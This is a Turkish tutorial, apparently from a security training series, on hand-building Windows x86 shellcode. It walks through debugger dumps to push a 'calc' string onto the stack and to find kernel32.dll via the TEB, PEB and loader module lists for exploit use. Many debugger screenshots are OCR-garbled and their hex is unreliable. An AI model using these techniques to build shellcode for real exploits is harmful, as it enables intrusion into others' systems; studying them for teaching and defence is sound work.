00401040 . 75 DC VOR EAX EAX	S 0 FS 0053 32bit /EFDD000(FFF)
00401042 . 8389 74004000 CMP DWORD PTR DS: [ECX+4000741.0E	T U GS UUZE SZDIC U(FFFFFFFF)
Address Value ASCI Comment • 0018FF8C 75	67338A Š3gu RETURN to kernel32.7567338A
00403000 00000001 0018FF90 7E	FDE000 .ài~
00403004 00000000 0018FF94 -00	18FFD4 Ôÿ†.
00403008 00000000 0018FF98 77	549F72 rŸTw RETURN to ntdll.77549F72
0040300C 00000000 0018FF9C .EE	FDE000 .àı~
00403010 FFFFFFFE şŸŸŸ 0018FFA0 77	664594 "Efw UNICODE "HDCP System Renewability Message pas
00403014 FFFFFFFF <u>ÿÿÿ</u> 0018FFA4 00	000000
00403018 BB40E64E Næ@» 0018FFA8 00	EDE000
0040301C 44BF19B1 ±F2D 0018FFB0 00	000000
00403020 00000000 00018FFB4 00	000000
- 0018FFB8 00	000000
[11:01:05] Program entry point	Paused

Immunity Debugger'ın gösteriminde "Call" edilen fonksiyonun adresinin köşeli parantezler içinde bulunan adreste bulunduğunu daha açık bir gösterimle görüyoruz. "Call" instruction'ına çift tıkladığımızda adres bilgisini, yani "40 20 00" adresini net olarak görebiliyoruz.

0	
🚯 Immunity Debugger [CPU - main thread, module s]	
C File View Debug Plugins ImmLib Options Window Help Jobs	- <i>6</i> ×
🗁 🏂 🗉 🔣 🕊 🗙 🕨 📕 🕌 🕌 🦊 📲 📲 🖬 🖬 emtwhc Pkbzrs ? 👘 Immunity: Cons	sulting Services Manager
00401000 r\$ 6A 00 PUSH 0	<pre>ShowState = _ Registers (FPU) <</pre>
00401002 . 68 00214000 PUSH OFFSET s.?? C@ 04GLMIJPDJ@calc?\$#	AA(CmdLine = "C EAX 75673378 kernel32.BaseThreadInitThunk
00401007 . FF15 00204000 CALL DWORD PTR DS: [<&KERNEL32.WinExec>	>] -WinExec ECX 00000000
0040100D . 33CO XOR EAX,EAX	EDX 00401279 s. <moduleentrypoint></moduleentrypoint>
0040100F L. C3 RETN	EBX 7EFDE000
00401010 . B8 Assemble at 00401007	ESP 0018FF8C
00401015 . 66: CALL DWORD PTR DS 402000	EBP 0018FF94
00401010 . 74	ESI 0000000
0040101E > 35C Fill with NOP's Chusenble Cancel	EDI 00000000
00401020 . 88	EIP 00401279 s. <moduleentrypoint></moduleentrypoint>
00401022 - 81B9 00004000 CMP DWORD PTR DS:[ECX+4000001.4550	C 0 EC 002P 22bit 0(EEEEEEE)
00401032 .^75 EA JNZ SHORT S.0040101E	P = 1 CS 0.023 32bit 0 (FFFFFFFF)
00401034 . B8 0B010000 MOV EAX, 10B	$\Lambda = 0$ SS 002B 32bit 0(FFFFFFFF)
00401039 . 66:3981 18004(CMP WORD PTR DS:[ECX+400018],AX	z 1 DS 002B 32bit 0(FFFFFFFF)
00401040 .^75 DC JNZ SHORT S.0040101E	S 0 FS 0053 32bit 7EFDD000(FFF)
00401042 . 33C0 XOR EAX, EAX	T 0 GS 002B 32bit 0(FFFFFFFF)
00401044 . 83B9 74004000 CMP DWORD PTR DS:[ECX+400074], OE	- D 0
Address Value ASCI Comment0018FF8C	7567338A Š3gu RETURN to kernel32.7567338A 🔷 🐴
00403000 00000001 0018FF90	7EFDE000 .à1~
00403004 00000000 0018FF94	0018FFD4 ÖŸ†.
00403008 00000000 0018FF98	77549F72 rYTw RETURN to ntd11.77549F72
0040300C 00000000 0018FF9C	/EFDE000 .al~
00403010 FFFFFFFE şŸŸŸ 0018FFA0	77664594 "Efw UNICODE "HDCP System Renewability Message pas
00403014 FFFFFFFF ÿÿÿÿ 0018FFA4	00000000
00403018 BB40E64E Næ@» 0018FFA6	7EEDE000 33~
0040301C 44BF19BI ±F2D 0018FFB0	0000000
00403020 0000000 0000000 000 000000 000000	00000000
	0000000
[11:01:05] Program entry point	Paused

Hafıza penceresinde sağ klikleyerek "Go to" / "Expression" seçeneğinde "40 20 00" adresini yazarak hafızada bu adreste hangi değer olduğunu görebiliriz. Standart gösterim yerine sağ klikleyip "Long" / "Hex" seçeneğini seçersek bu adresteki DWORD, yani 4 byte'lık adres bilgisini daha rahat görebiliriz. Bu adresin hangi modülün kapladığı adres alanı içinde yer aldığını görmek için "View" / "Memory" penceresine göz atabiliriz. Gördüğünüz gibi "76 C5" ile başlayan hafıza alanı "76 BD" ile başlayan "Kernel32.dll" modülünün .text segmenti içinde bulunmaktadır.

🖧 Immunity Debugger (CPU - main thread, module s)	
C File View Debug Plugins ImmLib Options Window Help Jobs	_ 6 ×
🔁 🐝 🖩 🔣 📢 🗙 🕨 😫 🕌 🤞 📲 lemtwh c Pkbzrs ? 📉 Code auditor and software assessment specialist need	ed in the second second second second second second second second second second second second second second se
00401000 r\$ 6A 00 PUSH 0 rShowState =	Registers (FPU) <
00401002 . 68 00214000 PUSH OFFSET s.??_C0_04GLMIJPDJ@calc?\$AA(CmdLine = "c-	EAX 75673378 kernel32.BaseThreadInitThunk
00401007 . FF15 00204000 CALL DWORD PTR DS: [<&KERNEL32.WinExec>] LWinExec	ECX 0000000
0040100D . 33C0 XOR EAX,EAX	EDX 00401279 s. <moduleentrypoint></moduleentrypoint>
0040100F L. C3 RETN	EBX 7EFDE000
00401010 . B8 4D5A0000 MOV EAX,5A4D	ESP 0018FF8C
00401015 . 66:3905 00004(CMP WORD PTR DS:[400000],AX	EBP 0018FF94
0040101C . 74 04	ESI 0000000
0040101E > 3500 AUK EAX, EAX	EDI 00000000
00401020 . BB 34 0MP SHORT S.00401056	EIP 00401279 s. <moduleentrypoint></moduleentrypoint>
00401022 S 0500 SC004000 CMP EXAMPLE IS (100050)	
00401032 .775 FA JNZ SHORT S.0040101E	D 1 CS 0022 32bit 0(FFFFFFFF)
00401034 . B8 0B010000 MOV EAX.10B	$\Lambda = 0$ SS 0025 S2DIC 0(FFFFFFFF)
00401039 . 66:3981 18004(CMP WORD PTR DS:[ECX+400018],AX	z = 1 DS 002B 32bit 0(FFFFFFFF)
00401040 .^75 DC JNZ SHORT S.0040101E	S 0 FS 0053 32bit 7EFDD000(FFF)
00401042 . 33C0 XOR EAX,EAX	T 0 GS 002B 32bit 0(FFFFFFFF)
00401044 . 83B9 74004000 CMP DWORD PTR DS:[ECX+400074],0E	D 0
Address Value ASCI Comment 🙆 0018FF8C 7567338A Š3gu RETU	RN to kernel32.7567338A 🛛 🔥
00402000 756F2FF1 ñ/ou kernel32.WinExec 0018FF90 7EFDE000 .ài~	
00402004 75674A25 %Jgu kernel32.IsDebuggerPresent 0018FF94 C018FFD4 Öÿt.	
00402008 77549DD5 ÕTw ntdll.RtlDecodePointer 0018FF98 77549F72 rYTw RETU	RN to ntd11.77549F72
0040200C 756734C9 É4gu kernel32.GetSystemTimeAsFile 0018FF9C 7EFDE000 .ai~	and a standard with the second s
00402010 75671420 9gu kernel32.GetCurrentThreadId 0018FFA0 77664594 "EIW UNIC	ODE "HDCP System Renewability Message pas
00402014 756711F8 ødgu kernel32.GetCurrentProcessId 0018FFA4 00000000	
00402018 75671671 n-gu kernel32.QueryPerformanceCou 0018FFAS 00000000	
0040201C 7755107B (+0W htdl:.KtiEncodePointer 0016FAC 755107B (+0W htdl:.KtiEncodePointer 0016FAC 0000000	
00402024 00000000	
	· · · · · · · · · · · · · · · · · · ·
11:01:05] Program entry point	Paused

0								
🞝 Immunity Deb	ugger [Mer	nory map]	-					
M File View	Debug Plugins	ImmLib Option:	s Window Hel	p Jobs				_ 6 ×
🔁 🐧 🗐 🔣 ·	•• × ▶ •	비위비키어	lemt	whcPkbz	r s	? Python	Developer Wanted	
Address	Size	Owner	Section	Contains	Туре	Access	Initial	Mapped as
001B0000	00001000				Priv	RW	RW	
001C0000	00067000				Map		R	\Device\HarddiskVolume2\Windows\System32\locale.nls
00350000	00007000				Priv		RW	
00400000		S		PE header	Imag	R	RWE	
00401000	00001000	S		code	Imag	RE	RWE	
00402000	00001000	S		imports	Imag		RWE	
00403000	00001000	S	.data	data	Imag	RW Copy	RWE	
00404000	00001000	S		resources	Imag	R	RWE	
005A0000	0000A000				Priv	RW	RW	
72C40000	0008000				Imag	R	RWE	
72C50000	00050000				Imag	R	RWE	
72CB0000	0003F000				Imag	R	RWE	
73AA0000	00001000	MSVCR120		PE header	Imag	R	RWE	
73AA1000	000000000	MSVCR120	.text	code, exports	Imag	RE	RWE	
73B7E000	00007000	MSVCR120	.data	data	Imag	RW Copy	RWE	
73B85000	00002000	MSVCR120	.idata	imports	Imag	RW	RWE	
73B87000	00001000	MSVCR120	.rsrc	resources	Imag	R	RWE	
73B88000	00006000	MSVCR120	.reloc	relocations	Imag	R	RWE	
75660000	00010000	kerne132		PE header	Imag	R	RWE	
75670000	00001000	kernel32	.text	code, import:	Imag	RE	RWE	
75740000	00002000	kernel32	.uata	Qata	Imag	RW	RWE	
75750000	00001000	kernel32	.rsrc	resources	Imag	R	RWE	
75760000	00008000	KEINEL32	.reroc	DE hoador	Imag	R.	RWE	
75260000	00001000	VEDWELDA		PE neader	Illiag	D P	DME	
75261000	00040000	KERNELBA	.text	data	Tmag	IV E	DME	
75EA1000	00002000	KERNELBA	.uata	nacourcos	Imag	D	DME	
75FA3000	00001000	VEDNELBA	roloc	relocations	Imag	D	DME	
77330000	00139000	NERWEIJBA	.TETOC	reiocacions	Imag	D	DWE	
Graph Functi	Lon							Paused

IV. SHELLCODE PROBLEMLERİ – VERİ ERİŞİMİ

Yaptığımız analizde iki temel ihtiyaç önümüze çıktı:

- Birincisi shellcode'umuzun ihtiyaç duyacağı verileri kendimiz hafızaya yazabilmeli ve bu verilerin adreslerini dinamik olarak bulabilmeliyiz.
- İkincisi Windows API'lerinden ihtiyaç duyacağımız fonksiyonları çağırabilmek için ilgili kütüphaneleri hafızaya yükleyebilmeli ve bu kütüphanelerin içinde aradığımız fonksiyonun adresini yine dinamik olarak bulabilmeliyiz. Kullandığımız örnek uygulama "WinExec" fonksiyonunu kullandığından kütüphane yükleme ihtiyacımız olmayacak, çünkü bu fonksiyonun içinde bulunduğu Kernel32.dll kütüphanesi öntanımlı olarak tüm proses'lerin hafıza alanına yükleniyor. Yine de bu örnek üzerinde öğreneceğimiz konular kendimiz farklı bir kütüphane yüklemek zorunda kaldığımız durumlar için de gerekli altyapıyı bize sağlayacak.

İhtiyaç ve problemlerimizi belirlediğimize göre shellcode'umuzu inşa etmek için yola çıkabiliriz.

Önce basit olan birinci kısımdan başlayalım. Çalıştıracağımız uygulamanın adını içeren veriyi stack alanına yazalım ve bu verinin yazıldığı adresi tespit edelim. Uygulama adını stack'e yazmak için PUSH instruction'ını kullanacağız. Burada zaten hafızaya istediğimiz bilgiyi yazıyoruz, uygulama adı da yazdığımız içeriğin içinde bulunabilir neden tekrar stack'e yazacağız diyebilirsiniz. Bunun birinci sebebi pozisyon bağımsız olmak, ikinci sebebi ise geliştireceğimiz shellcode'un mümkün olduğunca jenerik olmasına çalışmaktır. ASLR uygulanması halinde bu yöntem bizim için zorunluluk haline gelmektedir. Ayrıca ASLR uygulanmasa bile verimizi payload'umuzun içinde doğrudan hafızaya yazmamız halinde, her farklı uygulamada hafızaya yazdığımız adres farklılaşacağından shellcode'umuzu her bir uygulama açıklığı için tekrar düzenlememiz gerekecektir. Ayrıca sonu "null" karakterle bitecek bir veriyi shellcode'umuzun içinde barındırmak shellcode'umuzu hafızaya yazarken probleme neden olabilir. Gerçi bu noktada oluşturacağımız shellcode'umuzun da içinde null karakterler olacak, ama PUSH instruction'ı ile veriyi hafızaya yazdığımızda null karakterlerden kaçınma imkanlarımız var.

Winexec fonksiyonuna parametre olarak vereceğimiz uygulama adını stack'e yazmak için öncelikle uygulama adımızı oluşturan harflerimizin onaltılık düzendeki karşılıklarını bulmamız gerekecek. Çok miktarda ASCII karakteri onaltılık karşılığına dönüştürmek için bir uygulama geliştirebiliriz, ancak 4 karakterlik bir metin için HxD uygulaması işimizi görecektir.



"calc" metninin onaltılık karşılığı "63 61 6C 63" olacaktır.

Bu aşamada hatırlamamız gereken 3 önemli nokta var:

- Birincisi X86 mimarisinde verilerin hafızada little endian formatında saklanmasıdır. Yani veriler byte seviyesinde hafızaya en düşük değerli byte'tan başlayarak yazılır. Yalnız burada sıralamanın byte seviyesinde olduğunu hatırlatalım, bit seviyesinde değil. Bu nedenle "calc" metninin onaltılık düzendeki karşılığını hafızaya yazarken "clac" sırasıyla yazmamız lazım. Yani stack'e PUSH instruction'ı ile yazacağımız değer HEX "63 6C 61 63" olacaktır.
- İkinci nokta C string'lerinin mutlaka "null" karakterle sonlanması gerektiğidir. Bu nedenle stack'e yazacağımız string'imizin sonunda "null" karakteri yer almalıdır.
- Üçüncü nokta stack'in yüksek adreslerden düşük adreslere doğru büyümesi. Dolayısıyla verilerimizi stack'e yazdığımızda "stack pointer" değeri bizim için yazdığımız verinin başlangıç noktasına işaret edecek.

Buna göre Assembly instruction'larımız şu şekilde olmalı:

- push 0x20202000 (bu instruction verileri hafızaya /x00 /x20 /x20 /x20 şeklinde yazacak)
- push 0x636C6163 ("clac" karakterleri hafızaya yazılacak)
- mov ebx, esp (ESP değeri EBX register'ına aktarılacak)

Bu kodumuzu inline assembly olarak ekrandaki C kodu içinde deneyelim ve işe yarayıp yaramayacağını görelim.





Gördüğünüz gibi kodun içinde veri olarak tanımlanmamış bir veriyi stack'e yazdık ve adresini elde ettikten sonra ekrana yazdırabildik.

V. MODÜL ADRESİNİN BULUNMASI

Hafızaya veri yazmak ve bu verinin referans adresini tespit etmek işin kolay kısmıydı. Şimdi gelelim ihtiyaç duyduğumuz Windows API'sinin adresini bulmaya. Bu konuda hemen kodlamaya geçmeden önce ciddi bir teorik altyapımız olması gerekiyor. Bu adımda Export tablolarını derin bir şekilde inceleyeceğiz. Ayrıca teorik bilgimizi binary debugger aracılığı ile de test edeceğiz. Tüm işlem adımlarımızı netleştirdikten sonra sıra assembly kodumuzu geliştirmeye gelecek.

Öncelikle Kernel32.dll'in hafızadaki adresini bulmamız lazım. Çünkü WinExec fonksiyonu ve prosesi problemsiz bir biçimde sonlandırmak için ihtiyaç duyacağımız ExitProcess fonksiyonu Kernel32.dll modülü içinde yer alıyor. Kernel32.dll'in her Windows prosesi için hafızada hazır bulunduğunu söylemiştik. Eğer exploit edeceğimiz proses hafızasında hazır bulunmayan bir modülü yüklememiz gerekseydi yine Kernel32.dll içinde bulunan LoadLibrary fonksiyonuna ihtiyacımız olacaktı. Yani başlangıç noktamız yine Kernel32.dll'in adresinin bulunması olacaktı. LoadLibrary fonksiyonu hafızaya yüklediği modülün adresini döndürdüğünden bu modülü aramak için çaba sarfetmemiz kalmayacaktı. Bu örneğimize özgü olmak üzere sadece Kernel32.dll içinde bulunan fonksiyonları kullanacağız.

Bu amacımıza ulaşabilmek için işletim sisteminin yüklediği prosesle ilgili hafızada barındırdığı veri yapılarından faydalanacağız. Önce bu yapıları biraz tanıyalım.

Burada sözünü edeceğimiz veri yapıları ve bilgiler X86 mimarisine özgüdür. 64 bit'lik prosesler için geçerli değildir.



İzleyeceğimiz temel strateji hafızadaki veri yapılarında bulunan pointer bilgilerini kullanarak iz sürmek ve nihayetinde Kernel32.dll'in hafızadaki adres bilgisine ulaşmak olacak.

Başlangıç noktamız FS segment register'ı tarafından işaret edilen Thread Environment Block (TEB) olacaktır. Bu veri yapısı mevcut thread ile ilgili bilgileri barındırır.

TEB yapısının HEX "30" offset adresinde Process Environment Block (PEB) yapısının adresi yer alır. PEB veri yapısı işletim sisteminin kullanımına has bir veri yapısı olup Microsoft tarafından tamamı dokümante edilmemiştir. PEB adından da anlaşılacağı üzere tüm prosese ilişkin meta bilgileri içerir. Windbg ile yüklediğimiz bir proses için PEB yapısına "!peb" komutuyla göz atabiliriz. Veri yapısını daha açık görebilmek için önce "dd fs:[30]" komutuyla PEB'in adresini, daha sonra da "dt nt!_peb adres" komutuyla PEB'in yapısını görebiliriz.



KERNEL32.DLL'IN ADRESININ BULUNMASI

PROCESS ENVIRONMENT BLOCK (PEB)

• Adım-2: _PEB_LDR_DATA veri yapısının bulunması



PEB veri yapısı işletim sisteminin kullanımına has bir veri yapısı olup Microsoft tarafından tamamı dokümante edilmemiştir. PEB adından da anlaşılacağı üzere tüm prosese ilişkin meta bilgileri içerir. Windbg ile yüklediğimiz bir proses için PEB yapısına "!peb" komutuyla göz atabiliriz. Veri yapısını daha açık görebilmek için önce "dd fs:[30]" komutuyla PEB'in adresini, daha sonra da "dt nt!_peb adres" komutuyla PEB'in yapısını görebiliriz.

PEB veri yapısının HEX "Oc" offsite adresinde _PEB_LDR_DATA veri yapısının adresi bulunur.

btri<mark>s</mark>k

KERNEL32.DLL'IN ADRESININ BULUNMASI

_PEB_LDR_DATA

Adım-3: Modül zincir listelerinin bulunması

```
0:000> dt _PEB_LDR_DATA 0x77240200
       ntdll!_PEB_LDR_DATA
          +0x000 Length
                                  : 0x30
                                  : 0x1 ''
          +0x004 Initialized
          +0x008 SsHandle
                                  : (null)
0x1c
          +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x2f4cf8 -
       0x2f5990 ]
          +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x2f4d00
         0x2f5998 ]
          +0x01c InInitializationOrderModuleList : _LIST_ENTRY [
       0x2f4d98 - 0x2f59a0 ]
          +0x024 EntryInProgress : (null)
          +0x028 ShutdownInProgress : 0 ''
          +0x02c ShutdownThreadId : (null)
```

3

_PEB_LDR_DATA veri yapısının içinde yükleme sırasına, hafızadaki adres sıralamasına ve başlatılma sırasına göre modül listelerini işaret eden _LIST_ENTRY veri yapıları bulunur. Bu modül listeleri linked list (yani zincir veri listeleri) şeklinde birbirlerini ileriye ve geriye doğru işaret eden adres alanları barındırır. Bu adresler sayesinde zincirde ileriye veya geriye doğru ilerleme imkanı bulunmaktadır. İlk adres bölümü forward link yani ileri link adresini barındırır, daha sonra gelen 4 byte'lık bölüm de backward link yani geriye link adresini içerir.

btri<u>s</u>k

KERNEL32.DLL'IN ADRESININ BULUNMASI

MODÜL ZİNCİR LİSTESİ

Adım-4: Başlatılma sırasına göre modül zincir listesinin izlenmesi

```
0:000> dt _LIST_ENTRY 0x7724021c
     ntdll!_LIST_ENTRY
      [ 0x2f4d98 - 0x2f59a0 ]
        +0x000 Flink : 0x002f4d98 LIST_ENTRY [ 0x2f5230 - 0x7724021c ]
                        : 0x002f59a0 _LIST_ENTRY [ 0x7724021c - 0x2f5118 ]
        +0x004 Blink
    0:000> dt _LIST_ENTRY 0x002f4d98
    ntdll! LIST ENTRY
      [ 0x2f5230 - 0x7724021c ]
        +0x000 Flink : 0x002f5230 LIST_ENTRY [ 0x2f5118 - 0x2f4d98 ]
        +0x004 Blink
                        : 0x7724021c _LIST_ENTRY [ 0x2f4d98 - 0x2f59a0 ]
    0:000> dt _LIST_ENTRY 0x002f5230
 3
     ntdll!_LIST_ENTRY
      [ 0x2f5118 - 0x2f4d98 ]
        +0x000 Flink : 0x002f5118 _LIST_ENTRY [ 0x2f59a0 - 0x2f5230 ]
        +0x004 Blink : 0x002f4d98 _LIST_ENTRY [ 0x2f5230 - 0x7724021c
     ]
4
```

PEB Loader Data'nın HEX "1C" adresinde başlatılma sırasına göre modül zincir listesinin ilk ileri link adresi bulunur. Bu adreste yer alacak ilk modül entry'si yani modül veri yapısı da yine kendisinden bir sonra gelen modül veri yapısının adresini içerir. Zincir ilk başta liste adresini ilk okuduğumuz adresi işaret ettiğinde sonlanır, yani ileri link adresleri bir çember oluşturur.

btrick

KERNEL32.DLL'İN ADRESİNİN BULUNMASI

MODÜL ADI

Adım-5: Modül adının bulunması

0:000> db 77185bc4 77185bc4 6e 00 74 00 64 00 6c 00 2e 00 64 00 6c 00 n.t.d.l.l..d.l. 77185bd4 6c 00 00 00 14 00 16 00-e0 5b 18 77 5c 00 53 00 1.....[.w\.S. 77185be4 59 00 53 00 54 00 45 00-4d 00 33 00 32 00 5c 00 77185bf4 00 00 90 90 90 90 90 8b-ff 55 8b ec 51 51 83 65 77185c04 fc 00 53 56 8b 35 0c 02-24 77 57 81 fe 0c 02 24 77185c14 77 74 31 8d 45 f8 50 6a-09 8b fe 8b 36 6a 01 ff wt1.E.Pj...6j.



5

Başlatılma sırasına göre oluşturulmuş modül entry'lerinin HEX "20" offset adresinde UNICODE formatında modül ismi bulunmaktadır. UNICODE formatında bildiğiniz gibi her bir karakter 2 byte'lık bir alanla ifade edilir.

Sunum üzerinde anlattığım bu yolu Immunity Debugger üzerinde izleyelim. Sizlerde aynı işlemi gerçekleştirirseniz hafıza üzerindeki veri yapılarına daha hakim olursunuz.

Immunity debugger'da herhangi bir uygulamayı yükleyelim.

CPU ana ekranının Dump bölümüne sağ klikleyerek veri gösterim formatını Long / Address formatına çevirelim.

🗸 Immunity Debugger [CPU - main thread, module ntdl]	
C File View Debug Plugins ImmLib Options Window Help Jobs	_ # X
🔁 🚴 🗉 🔣 📢 🗙 🕨 🖬 📫 👬 👬 🛃 🚽 ┿ lemtwhcPkbzrs? 🦳 Pythan Developer Wanted	
775201B8 895C24 08 MOV DWORD PTR SS: [ESP+8], EBX	Registers (FPU) <
775201BC E9 699D0200 JMP ntdll.77549F2A	EAX 00401279 s. <moduleentrypoint></moduleentrypoint>
775201C1 8DA424 00000000 LEA ESP, DWORD PTR SS: [ESP]	ECX 0000000
775201C8 8DA424 00000000 LEA ESP, DWORD PTR SS: [ESP]	EDX 0000000
775201CF 90 NOP	EBX 7EFDE000
775201D0 8BD4 MOV EDX, ESP	ESP 0018FFF0
775201D2 OF34 SYSENTER	EBP 00000000
	ESI 0000000
775201DC 906424 00000000 LEA ESP, DWORD PTR SS[ESP]	EDI 00000000
775201E0 804924 00 LEA EST, DWOLD PTR SS [ESP]	EIP 775201B8 ntdll.775201B8
775201E4 CD Search for NT 2E	C 0 EC 002D 22bit 0(EEEEEEE)
775201E6 C3 Gete FITN	P = 0 CS 0023 32bit 0(FFFFFFFF)
775201E7 90	$\Lambda = 0$ SS 002B 32bit 0(FFFFFFFF)
775201E8 000 Hex DD BYTE PTR DS: [EAX], AL	Z 0 DS 002B 32bit 0(FFFFFFFF)
775201EA 000 Tex DD BYTE PTR DS: [EAX], AL	S 0 FS 0053 32bit 7EFDD000(FFF)
775201EC ^7D Short , and stops stall 77520188	T 0 GS 002B 32bit 0(FFFFFFFF)
775201EE 1E Signed decimal	D 0
Address Hex Ploat , Unsigned decimal ^ 0018FFF0 00000000	·
00403000 01 (Disassemble Hex 0018FFF4 00401279 yt@. s. <m< th=""><th>IoduleEntryPoint></th></m<>	IoduleEntryPoint>
00403008 00 (Special Address 0018FFF8 00000000	412
00403010 FE F Appearance Addreg With ASCI aump 0018FFFC 00000000	
Address with UNICODE damp	
00403020 00 00 00 00 00 00 00 00	
00403028 00 00 00 00 00 00 00 00	
00403030 00 00 00 00 00 00 00 00	
00403038 00 00 00 00 00 00 00 00	
00403040 00 00 00 00 00 00 00 00	
	-
	•
[12:16:15] Single step event at ntdll.?75201B8 - use Shift+F7/F8/F9 to pass exception to program	Paused

Daha sonfa Ctrl+G ile fs:[30] adresinde bulunan veri alanına geçelim.

Immunity Debugger [CPU - main thread, module ntdll]		_ 0 ×
C File View Debug Plugins ImmLib Options Window Help Jobs		_ 6 ×
>>> □ ★ □ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★	z r s ? Python Developer Wanted	
775201B8 895C24 08 MOV DWORD PTR SS: [ES	P+8],EBX ^ Rec	gisters (FPU) <
775201BC E9 699D0200 JMP ntdll.77549F2A	EAX	K 00401279 s. <moduleentrypoint></moduleentrypoint>
775201C1 8DA424 00000000 LEA ESP, DWORD PTR SS	ECX	K 0000000
775201C8 8DA424 00000000 LEA ESP, DWORD PTR SE	EDX	K 0000000
775201CF 90 NOP 775201D0 9DD4 MOV EDV ECD	EB2	K 7EFDE000
775201D0 0E34 HOV EDA, ESP	ESI	P 0008FFF0
775201D4 C3 RETN	EB:	
775201D5 8DA424 00000000 LEA ESP, DWORD PTR SS	ESP ED	T 00000000
775201DC 8D6424 00 LEA ESP, DWORD PTR SS	:[ESP]	
775201E0 8D5424 08 LEA EDX, DWORD PTR SS	5: [ESP+8]	P //5201B8 htd11.//5201B8
775201E4 CD 2E INT 2E	C	0 ES 002B 32bit 0(FFFFFFFF)
775201E6 C3 RETN	P (0 CS 0023 32bit 0(FFFFFFFF)
7/5201E7 90 NOP	A	0 SS 002B 32bit 0(FFFFFFFF)
775201E8 0000 Enter expression to follow in Dump	Z	D DS 002B 32bit 0(FFFFFFFF)
775201EC ^7D 9A	- 88 S (J FS 0053 32bit /EFDD000(FFF)
775201EE 1E	- D (GS UUZB SZDIC U(FFFFFFFF)
Address Value OK Cancel	- 0018FFF0 00000000	
00403000 00000001	0018FFF4 00401279 v10. s. <mod< th=""><th>uleEntryPoint></th></mod<>	uleEntryPoint>
00403004 00000000	0018FFF8 00000000	
00403008 00000000	0018FFFC 00000000	
0040300C 00000000		
00403010 FFFFFFE		
00403014 FFFFFFFF		
00403018 BB40E64E		
0040301C 44BF19B1		
00403020 0000000		
	-	*
		· · · · · · · · · · · · · · · · · · ·
[12:16:15] Single step event at ntdll.775201B8 - use Shift+F7/F	8/F9 to pass exception to program	Paused

Gelen bilgilerin en üst sırasında sol tarafta adres alanına çift tıkladığımızda adres formatı offset formatına dönüşecektir. PEB veri yapısının HEX "Oc" adresinde PEB Loader Data veri yapısının adresini görebiliriz.

S Immunity Debu	ugger [CP	U - main thread, n	odule ntdll]	
C File View	Debug Plugins	ImmLib Optic	ns Window Help Jobs	_ 6 ×
	X ▶ ↓	┦┦┨┥┥	lemtwhcPkbzrs? Python Developer Wanted	
775201B8	895C24	08	MOV DWORD PTR SS: [ESP+8], EBX Registers (F	PU) <
775201BC	E9 699I	00200	JMP ntdll.77549F2A EAX 00401279	s. <moduleentrypoint></moduleentrypoint>
775201C1	8DA424	00000000	LEA ESP, DWORD PTR SS: [ESP] ECX 0000000	un di unun de la data data data data data data data d
775201C8	8DA424	00000000	LEA ESP, DWORD PTR SS: [ESP] EDX 0000000	
775201CF	90		NOP EBX 7EFDE000	
775201D0	8BD4		MOV EDX, ESP ESP 0018FFF0	
775201D2	0F34		SYSENTER EBP 0000000	
775201D4	C3		RETN ESI 00000000	
77520105	8DA424	00000000	LEA ESP, DWORD PTR SS: [ESP] EDI 00000000	
77520100	0D0424 9D5424	00	LEA ESP, DWORD PTR SS: [ESP] IFA FDY DWORD PTR SS: [ESP] EIP 775201B8	ntdl1.775201B8
775201E0	CD 2E		INT 2E	
775201E6	C3		RETN D C C C C C C C C C C C C C C C C C C	32DIL U(FFFFFFFF)
775201E7	90		NOP 7.0 SC 0025	32bit 0(FFFFFFF)
775201E8	0000		ADD BYTE PTR DS: [EAX], AL	32bit 0(FFFFFFF)
775201EA	0000		ADD BYTE PTR DS: [EAX], AL	32bit 7EFDD000(FFF)
775201EC			JGE SHORT ntdll.77520188 T 0 GS 002B	32bit 0(FFFFFFF)
775201EE	1E		PUSH DS D 0	
Address	Value	Comment	▲ 0018FFF0 0000000	^
\$ ==>	00010000		0018FFF4 00401279 y10. s. <moduleentrypo< th=""><th>int></th></moduleentrypo<>	int>
\$+4	FFFFFFF		0018FFF8 00000000	
\$+8	00400000) s.004000	000 0018FFFC 00000000	
Ş+C	77610200) ntdl1.7	610200	
\$+10 V	00532068	B ASCII "		
\$+14	00000000)		
\$+18	00530000)		
\$+1C	00000000) ntair./	012100	
S+24	000000000	5		
Q 124			*	-
				·
[12:16:15] \$	ingle step	event at ntd	11.775201B8 - use Shift+F7/F8/F9 to pass exception to program	Paused

Bu değer üzerinde sağ kliklediğimizde "Follow in Dump" seçeneği ile bu adrese gidebiliriz.

Immunity Debugger [CPU - main thread, module ntdll]	
C File View Debug Plugins ImmLib Options Window Help Jobs	_ 5 ×
🔁 🌦 🗐 🔣 🐗 🗙 🕨 🔢 💐 🕌 🚽 📲 🕴 🛔 emt whc Pkbzrs? 🗾 From INFILTRATE 201	13 Stephen Watt's Keynote is up!
775201B8 895C24 08 MOV DWORD PTR SS: [ESP+8], EBX	* Registers (FPU) <
775201BC E9 699D0200 JMP ntdll.77549F2A	EAX 00401279 s. <moduleentrypoint></moduleentrypoint>
775201C1 8DA424 00000000 LEA ESP, DWORD PTR SS: [ESP]	ECX 0000000
775201C8 8DA424 00000000 LEA ESP, DWORD PTR SS: [ESP]	EDX 0000000
775201CF 90 NOP	EBX 7EFDE000
775201D0 8BD4 MOV EDX,ESP	ESP 0018FFF0
775201D2 OF34 SYSENTER	EBP 00000000
775201D4 C3 RETN	ESI 0000000
7/5201D5 8DA424 00000000 LEA ESP, DWORD PTR SS:[ESP]	EDI 0000000
775201DC 8D6424 00 LEA ESP, DWORD PTR SS:[ESP]	EIP 775201B8 ntdll.775201B8
775201E4 CD 2E TNT 2E	
775201E6 C3 L RETN	C U ES UUZB 32DIT U(FFFFFFFF)
775201E7 90 NOP	$P \cup CS \cup U23 32Dit \cup (FFFFFFFF)$
775201E8 0000 ADD BYTE PTR DS: [EAX].AL	A 0 SS 002B S2DIL $0(\text{FFFFFFF})$
775201EA 0000 ADD BYTE PTR DS: [EAX], AL	S 0 FS 0053 32bit 7EFDD000(FFF)
775201EC ^7D 9A JGE SHORT ntdll.77520188	T 0 GS 002B 32bit 0(FFFFFFFF)
775201EE 1E PUSH DS	- D 0
Address Value Comment ^ 0018FFF0 0000	00000
77610200 00000030 0018FFF4 0040	01279 yt@. s. <moduleentrypoint></moduleentrypoint>
77610204 00000001 0018FFF8 0000	00000
77610208 00000000 0018FFFC 0000	00000
7761020C 00534A48	
77610210 00535708	
77610214 00534A50	
77610218 00535710	
7761021C 00534AE8	
77610220 00555716	
77610224 0000000	·
